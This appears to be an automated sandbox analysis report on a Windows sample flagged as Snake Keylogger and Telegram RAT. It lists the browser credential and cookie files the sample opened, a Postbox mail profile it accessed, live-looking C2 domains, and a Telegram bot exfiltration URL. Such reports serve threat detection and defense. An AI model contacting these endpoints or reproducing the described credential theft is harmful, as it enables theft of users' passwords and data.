Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_00405BDF GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405BDF

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 3504, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Jump to behavior

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 3504, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 3504, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	311 Process Injection	1 Software Packing	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	311 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HVSU7GbA5N.exe	32%	ReversingLabs	Win32.Trojan.Leonem

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe	32%	ReversingLabs	Win32.Trojan.Leonem

Source	Detection	Scanner	Label
http://www.microsoft.csU	0%	Avira URL Cloud	safe
http://varders.kozow.com:8081	100%	Avira URL Cloud	malware
http://aborters.duckdns.org:8081	100%	Avira URL Cloud	phishing
http://crl.microsoft(	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.184.238	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	188.114.97.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:44:31%0D%0ACountry%20Name:%20United%20States%0D%0A[%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/#	msiexec.exe, 00000009.00000002.2653650551.00000000075E3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.csU	powershell.exe, 00000002.00000002.2030872209.0000000008B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/lB	msiexec.exe, 00000009.00000002.2665789154.000000002325A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enp	msiexec.exe, 00000009.00000002.2665789154.000000002321F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	msiexec.exe, 00000009.00000002.2665789154.000000002322E000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002321F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002325F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com	msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft(	powershell.exe, 00000002.00000002.2010747235.0000000003408000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2012024518.0000000005271000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/	msiexec.exe, 00000009.00000002.2653650551.000000000757A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/p	msiexec.exe, 00000009.00000002.2665789154.0000000023250000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlB	msiexec.exe, 00000009.00000002.2665789154.0000000023229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2012024518.0000000005271000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000009.00000002.2665789154.00000000230BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/	msiexec.exe, 00000009.00000002.2665789154.000000002325F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023250000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	msiexec.exe, 00000009.00000002.2653650551.00000000075E3000.00000004.00000020.00020000.00000000.sdmp	false		high
